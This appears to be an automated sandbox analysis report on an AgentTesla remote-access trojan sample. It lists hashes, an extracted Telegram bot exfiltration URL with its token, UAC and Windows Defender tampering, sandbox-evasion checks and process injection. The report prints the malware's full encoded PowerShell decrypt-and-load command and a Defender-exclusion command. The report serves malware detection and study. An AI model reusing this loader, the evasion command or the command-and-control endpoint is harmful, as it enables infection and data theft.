Analysis
-
max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 17:11
Static task
static1
Behavioral task
behavioral1
Sample
b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe
Resource
win7-20240419-en
General
-
Target
b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe
-
Size
986KB
-
MD5
4d69a6b1a835e13d9399fc7a3fcd1c7f
-
SHA1
dabeb84fb579d1b1fd8efffd3f75ec5e5d5c6297
-
SHA256
b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212
-
SHA512
01900903b402511922c3d3a3eac3b217f49c19e6f245ac250f01614cc3b7f89975f412a96c648c48c8b1641cf5af61707d0261f4656ce48f3a8739436102d59b
-
SSDEEP
12288:67t9TgXF/OHYMhHQy9J9cv2N3TApMDcMs9cs46uxDscaK7JGfhJef98WXRAEz1T+:67btH9iyd90pMDRRuvQJKQfGwaERT5E
Malware Config
Extracted
agenttesla
https://api.telegram.org/bot6471994916:AAHkdjLXxo_sOhOEXeFpgGf4NrHiZGX6HD8/
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Processes:
powershell.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" powershell.exe -
Processes:
powershell.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe = "0" powershell.exe -
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid process 4976 powershell.exe 664 powershell.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
powershell.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion powershell.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion powershell.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 28 api.ipify.org 27 api.ipify.org -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
powershell.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum powershell.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 664 set thread context of 3476 664 powershell.exe CasPol.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
Processes:
powershell.exepowershell.exeCasPol.exepid process 664 powershell.exe 664 powershell.exe 664 powershell.exe 664 powershell.exe 664 powershell.exe 664 powershell.exe 664 powershell.exe 664 powershell.exe 4976 powershell.exe 4976 powershell.exe 4976 powershell.exe 3476 CasPol.exe 3476 CasPol.exe 3476 CasPol.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeCasPol.exedescription pid process Token: SeDebugPrivilege 664 powershell.exe Token: SeDebugPrivilege 4976 powershell.exe Token: SeDebugPrivilege 3476 CasPol.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
CasPol.exepid process 3476 CasPol.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exepowershell.exedescription pid process target process PID 2284 wrote to memory of 664 2284 b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe powershell.exe PID 2284 wrote to memory of 664 2284 b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe powershell.exe PID 664 wrote to memory of 4976 664 powershell.exe powershell.exe PID 664 wrote to memory of 4976 664 powershell.exe powershell.exe PID 664 wrote to memory of 3476 664 powershell.exe CasPol.exe PID 664 wrote to memory of 3476 664 powershell.exe CasPol.exe PID 664 wrote to memory of 3476 664 powershell.exe CasPol.exe PID 664 wrote to memory of 3476 664 powershell.exe CasPol.exe PID 664 wrote to memory of 3476 664 powershell.exe CasPol.exe PID 664 wrote to memory of 3476 664 powershell.exe CasPol.exe PID 664 wrote to memory of 3476 664 powershell.exe CasPol.exe PID 664 wrote to memory of 3476 664 powershell.exe CasPol.exe PID 664 wrote to memory of 1236 664 powershell.exe CasPol.exe PID 664 wrote to memory of 1236 664 powershell.exe CasPol.exe PID 664 wrote to memory of 1236 664 powershell.exe CasPol.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe"C:\Users\Admin\AppData\Local\Temp\b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADYAOAAsACAAMAB4ADYANwAsACAAMAB4AEIARQAsACAAMAB4ADcAQQAsACAAMAB4ADIAMwAsACAAMAB4ADUAOQAsACAAMAB4ADAAMQAsACAAMAB4ADcAQgAsACAAMAB4ADEAOAAsACAAMAB4AEMANwAsACAAMAB4AEUANwAsACAAMAB4AEYANgAsACAAMAB4AEYAMgAsACAAMAB4ADUARAAsACAAMAB4ADEAMwAsACAAMAB4AEEAMgAsACAAMAB4AEMANwAsACAAMAB4ADQAMAAsACAAMAB4AEEARQAsACAAMAB4AEEANwAsACAAMAB4ADMAMwAsACAAMAB4AEQAQQAsACAAMAB4ADYAOAAsACAAMAB4ADAAOQAsACAAMAB4ADYANAAsACAAMAB4ADYANQAsACAAMAB4AEEAOAAsACAAMAB4ADAAQgAsACAAMAB4ADAAMgAsACAAMAB4ADAARQAsACAAMAB4ADQANAAsACAAMAB4ADYAQwApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA0ADUALAAgADAAeAA1AEUALAAgADAAeAA2ADEALAAgADAAeAA3ADQALAAgADAAeABBADgALAAgADAAeAA4AEMALAAgADAAeAAwADUALAAgADAAeAAzAEMALAAgADAAeAAzADYALAAgADAAeAAzADcALAAgADAAeABCAEMALAAgADAAeAAxADMALAAgADAAeAA4AEYALAAgADAAeABCADMALAAgADAAeAA2AEMALAAgADAAeAA4AEEAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA2⤵
- UAC bypass
- Windows security bypass
- Looks for VirtualBox Guest Additions in registry
- Command and Scripting Interpreter: PowerShell
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:664 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\b0abe21d655ad2ec0d295ea225a0609350d399ffe916f8880b0e66d7d360e212.exe" -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4976 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3476 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"3⤵PID:1236
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Modify Registry
2Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xvyg0wfb.tts.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\file-1372.putikFilesize
33KB
MD57bcc1c9dcb3f70c39e7c0ba4af126a17
SHA18f03d5db806837d8c6d7d1de7288ab053c906bd0
SHA2563c6163c8469b5df10422d7578e276b44cfb2b18e3c19cb09303dd1a4864435bf
SHA512537ce66f91aeda2b66495857434900a2040008c466764ad50f07515c137f3a5502c2a079a8d72ae49651f238869ef55005a3229e226c141ba01713e39eac3d3a
-
memory/664-1-0x00007FF89BDE3000-0x00007FF89BDE5000-memory.dmpFilesize
8KB
-
memory/664-7-0x000002192C870000-0x000002192C892000-memory.dmpFilesize
136KB
-
memory/664-12-0x00007FF89BDE0000-0x00007FF89C8A1000-memory.dmpFilesize
10.8MB
-
memory/664-13-0x00007FF89BDE0000-0x00007FF89C8A1000-memory.dmpFilesize
10.8MB
-
memory/664-15-0x000002192BE30000-0x000002192BE3C000-memory.dmpFilesize
48KB
-
memory/664-16-0x000002192CD50000-0x000002192CDE4000-memory.dmpFilesize
592KB
-
memory/664-36-0x00007FF89BDE0000-0x00007FF89C8A1000-memory.dmpFilesize
10.8MB
-
memory/3476-17-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/3476-41-0x00000000746FE000-0x00000000746FF000-memory.dmpFilesize
4KB
-
memory/3476-40-0x00000000065C0000-0x00000000065CA000-memory.dmpFilesize
40KB
-
memory/3476-31-0x00000000746FE000-0x00000000746FF000-memory.dmpFilesize
4KB
-
memory/3476-30-0x00000000052E0000-0x0000000005884000-memory.dmpFilesize
5.6MB
-
memory/3476-32-0x0000000004EF0000-0x0000000004F56000-memory.dmpFilesize
408KB
-
memory/3476-39-0x0000000006650000-0x00000000066E2000-memory.dmpFilesize
584KB
-
memory/3476-38-0x0000000006510000-0x00000000065AC000-memory.dmpFilesize
624KB
-
memory/3476-37-0x0000000006420000-0x0000000006470000-memory.dmpFilesize
320KB
-
memory/4976-28-0x00007FF89BDE0000-0x00007FF89C8A1000-memory.dmpFilesize
10.8MB
-
memory/4976-35-0x00007FF89BDE0000-0x00007FF89C8A1000-memory.dmpFilesize
10.8MB
-
memory/4976-29-0x00007FF89BDE0000-0x00007FF89C8A1000-memory.dmpFilesize
10.8MB
-
memory/4976-18-0x00007FF89BDE0000-0x00007FF89C8A1000-memory.dmpFilesize
10.8MB